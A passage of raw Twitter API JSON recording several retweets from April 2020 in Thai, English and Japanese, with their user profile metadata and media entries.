2013\",\"favourites_count\":575,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5823,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/580446627695038464\\\/iV5737Qs_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/580446627695038464\\\/iV5737Qs_normal.jpg\",\"profile_link_color\":\"DD2E44\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":879,\"favorite_count\":3433,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},\"is_quote_status\":false,\"retweet_count\":879,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511749816321,\"id_str\":\"1254206511749816321\",\"text\":\"RT @tbEsnlhUJDDaIG9: \\u0e44\\u0e21\\u0e48\\u0e21\\u0e35\\u0e2d\\u0e35\\u0e01\\u0e41\\u0e25\\u0e49\\u0e27\\u0e21\\u0e31\\u0e19\\u0e08\\u0e1a\\u0e44\\u0e1b\\u0e15\\u0e31\\u0e49\\u0e07\\u0e41\\u0e15\\u0e48\\u0e40\\u0e21\\u0e37\\u0e48\\u0e2d\\u0e27\\u0e32\\u0e19\\u0e41\\u0e25\\u0e49\\u0e27 \\u0e22\\u0e31\\u0e07\\u0e44\\u0e07\\u0e01\\u0e47\\u0e23\\u0e31\\u0e01\\u0e41\\u0e25\\u0e30\\u0e04\\u0e34\\u0e14\\u0e16\\u0e36\\u0e07\\u0e40\\u0e2b\\u0e21\\u0e37\\u0e2d\\u0e19\\u0e40\\u0e14\\u0e34\\u0e21 \\u0e21\\u0e31\\u0e19\\u0e04\\u0e37\\u0e2d\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33\\u0e17\\u0e35\\u0e48\\u0e14\\u0e35\\u0e17\\u0e35\\u0e48\\u0e2a\\u0e38\\u0e14\\u0e02\\u0e2d\\u0e07\\u0e2b\\u0e19\\u0e39\\u0e19\\u0e30\\u0e04\\u0e30300363\\ud83d\\ude2d\\n.\\n.\\n.\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"tbEsnlhUJDDaIG9\",\"name\":\"\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33 |\\u0e25\\u0e34\\u0e21\\u0e34\\u0e15\\u0e1f\\u0e2d\\u0e25\",\"id\":1243314857253859328,\"id_str\":\"1243314857253859328\",\"indices\":[3,19]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"th\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1253687691935281152,\"id_str\":\"1253687691935281152\",\"name\":\"\\u0e17\\u0e48\\u0e32\\u0e40\\u0e23\\u0e37\\u0e2d\",\"screen_name\":\"Thareux90\",\"location\":\"\\ud83d\\udd87\\ufe0f\",\"description\":\"\\u0e1c\\u0e21\\u0e21\\u0e32\\u0e15\\u0e32\\u0e21\\u0e2b\\u0e32\\u0e1c\\u0e39\\u0e49\\u0e2b\\u0e0d\\u0e34\\u0e07\\u200b\\u0e04\\u0e19\\u0e19\\u0e36\\u0e07\\u200b\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":122,\"friends_count\":45,\"listed_count\":2,\"created_at\":\"Fri Apr 24 14:10:25 +0000 2020\",\"favourites_count\":58,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":693,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253860559633563648\\\/6LMU_KUb_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253860559633563648\\\/6LMU_KUb_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1253687691935281152\\\/1587778627\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 23:39:19 +0000 2020\",\"id\":1254193301424467968,\"id_str\":\"1254193301424467968\",\"text\":\"\\u0e44\\u0e21\\u0e48\\u0e21\\u0e35\\u0e2d\\u0e35\\u0e01\\u0e41\\u0e25\\u0e49\\u0e27\\u0e21\\u0e31\\u0e19\\u0e08\\u0e1a\\u0e44\\u0e1b\\u0e15\\u0e31\\u0e49\\u0e07\\u0e41\\u0e15\\u0e48\\u0e40\\u0e21\\u0e37\\u0e48\\u0e2d\\u0e27\\u0e32\\u0e19\\u0e41\\u0e25\\u0e49\\u0e27 \\u0e22\\u0e31\\u0e07\\u0e44\\u0e07\\u0e01\\u0e47\\u0e23\\u0e31\\u0e01\\u0e41\\u0e25\\u0e30\\u0e04\\u0e34\\u0e14\\u0e16\\u0e36\\u0e07\\u0e40\\u0e2b\\u0e21\\u0e37\\u0e2d\\u0e19\\u0e40\\u0e14\\u0e34\\u0e21 \\u0e21\\u0e31\\u0e19\\u0e04\\u0e37\\u0e2d\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33\\u0e17\\u0e35\\u0e48\\u0e14\\u0e35\\u0e17\\u0e35\\u0e48\\u0e2a\\u0e38\\u0e14\\u0e02\\u0e2d\\u0e07\\u0e2b\\u0e19\\u0e39\\u0e19\\u0e30\\u0e04\\u0e30300363\\ud83d\\ude2d\\n.\\u2026 https:\\\/\\\/t.co\\\/tDN8lxtvs2\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/tDN8lxtvs2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254193301424467968\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"metadata\":{\"iso_language_code\":\"th\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1243314857253859328,\"id_str\":\"1243314857253859328\",\"name\":\"\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33 |\\u0e25\\u0e34\\u0e21\\u0e34\\u0e15\\u0e1f\\u0e2d\\u0e25\",\"screen_name\":\"tbEsnlhUJDDaIG9\",\"location\":\"\",\"description\":\"30.03.63\\u2764\\ufe0f \\u0e41\\u0e04\\u0e48\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":28,\"friends_count\":1196,\"listed_count\":0,\"created_at\":\"Thu Mar 26 23:12:32 +0000 2020\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":22,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243315119410393088\\\/uYlCNC8s_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243315119410393088\\\/uYlCNC8s_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1243314857253859328\\\/1585264521\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":15,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"th\"},\"is_quote_status\":false,\"retweet_count\":15,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"th\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511649357824,\"id_str\":\"1254206511649357824\",\"text\":\"RT @escritosrame: https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"escritosrame\",\"name\":\"\\ud835\\udc93\\ud835\\udc82\\ud835\\udc8e\\ud835\\udc86\",\"id\":1032743790761705472,\"id_str\":\"1032743790761705472\",\"indices\":[3,16]}],\"urls\":[],\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}},\"source_status_id\":1254140992330096640,\"source_status_id_str\":\"1254140992330096640\",\"source_user_id\":1032743790761705472,\"source_user_id_str\":\"1032743790761705472\"}]},\"extended_entities\":{\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}},\"source_status_id\":1254140992330096640,\"source_status_id_str\":\"1254140992330096640\",\"source_user_id\":1032743790761705472,\"source_user_id_str\":\"1032743790761705472\"}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":4097079975,\"id_str\":\"4097079975\",\"name\":\"Alma Pino\",\"screen_name\":\"apinof95\",\"location\":\"Merida,Espa\\u00f1a.\",\"description\":\"where there is love, there is life \\u00a9\\u2764\\ufe0f\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":188,\"friends_count\":182,\"listed_count\":0,\"created_at\":\"Mon Nov 02 12:17:07 +0000 2015\",\"favourites_count\":517,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":1587,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253844466949070858\\\/mRZ1N0IU_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253844466949070858\\\/mRZ1N0IU_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/4097079975\\\/1585421884\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 20:11:28 +0000 2020\",\"id\":1254140992330096640,\"id_str\":\"1254140992330096640\",\"text\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1032743790761705472,\"id_str\":\"1032743790761705472\",\"name\":\"\\ud835\\udc93\\ud835\\udc82\\ud835\\udc8e\\ud835\\udc86\",\"screen_name\":\"escritosrame\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":316811,\"friends_count\":3,\"listed_count\":158,\"created_at\":\"Thu Aug 23 21:38:01 +0000 2018\",\"favourites_count\":105,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":206,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1150110888596299778\\\/37fGmlV1_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1150110888596299778\\\/37fGmlV1_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1032743790761705472\\\/1586981394\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":3518,\"favorite_count\":9656,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":false,\"retweet_count\":3518,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511536054275,\"id_str\":\"1254206511536054275\",\"text\":\"RT @NessaAdlerXO: I only use Twitter for viewing and screenshotting funny tweets, but since I\\u2019m here, I\\u2019d like to expose a racist \\ud83d\\ude0c He said\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"NessaAdlerXO\",\"name\":\"ness\",\"id\":1219156139339853824,\"id_str\":\"1219156139339853824\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2997792061,\"id_str\":\"2997792061\",\"name\":\"karrington airelle\\u2019 \\ud83c\\udf3b\",\"screen_name\":\"__beautyfordays\",\"location\":\"Atlanta, GA\",\"description\":\"Psalms 46:5\\u2728Alabama State University 21\\u2019 \\ud83d\\udc1d HA2 C8 \\u2764\\ufe0f\\ud83d\\udc9b\\ud83d\\udd25\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1769,\"friends_count\":1139,\"listed_count\":3,\"created_at\":\"Tue Jan 27 03:43:24 +0000 2015\",\"favourites_count\":36312,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":18287,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"94D487\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme18\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme18\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246586001042149376\\\/dML0aB5m_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246586001042149376\\\/dML0aB5m_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2997792061\\\/1579990609\",\"profile_link_color\":\"3B94D9\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 01:46:58 +0000 2020\",\"id\":1253863037561421828,\"id_str\":\"1253863037561421828\",\"text\":\"I only use Twitter for viewing and screenshotting funny tweets, but since I\\u2019m here, I\\u2019d like to expose a racist \\ud83d\\ude0c H\\u2026 https:\\\/\\\/t.co\\\/WkHG544YUe\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/WkHG544YUe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1253863037561421828\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1219156139339853824,\"id_str\":\"1219156139339853824\",\"name\":\"ness\",\"screen_name\":\"NessaAdlerXO\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":25,\"friends_count\":24,\"listed_count\":0,\"created_at\":\"Mon Jan 20 07:14:16 +0000 2020\",\"favourites_count\":44,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":14,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254137661280915457\\\/c7jK6SWr_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254137661280915457\\\/c7jK6SWr_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2777,\"favorite_count\":4529,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":2777,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511473061891,\"id_str\":\"1254206511473061891\",\"text\":\"RT @sakata_77: GW\\u3082\\u5bb6\\u3067\\u3084\\u308b\\u3053\\u3068\\u306a\\u304f\\u306a\\u3063\\u3066\\u304d\\u305f\\u304b\\u3089\\u5199\\u771f\\u30d5\\u30a9\\u30eb\\u30c0\\u3042\\u3055\\u3063\\u3066\\u305f\\u3089\\u5b8c\\u74a7\\u306a\\u62f3\\u6cd5\\u306e\\u69cb\\u3048\\u304b\\u3089\\u8e8d\\u52d5\\u3059\\u308b\\u732b\\u306e\\u5199\\u771f\\u3042\\u3063\\u305f\\u304b\\u3089\\u898b\\u3066 https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"sakata_77\",\"name\":\"\\u4e45\\u65b9 \\u5e83\\u4e4b\\u300c\\u306e\\u3089\\u732b\\u62f3\\u300d\",\"id\":3306955640,\"id_str\":\"3306955640\",\"indices\":[3,13]}],\"urls\":[],\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"}]},\"extended_entities\":{\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"},{\"id\":1254204976353521664,\"id_str\":\"1254204976353521664\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"}},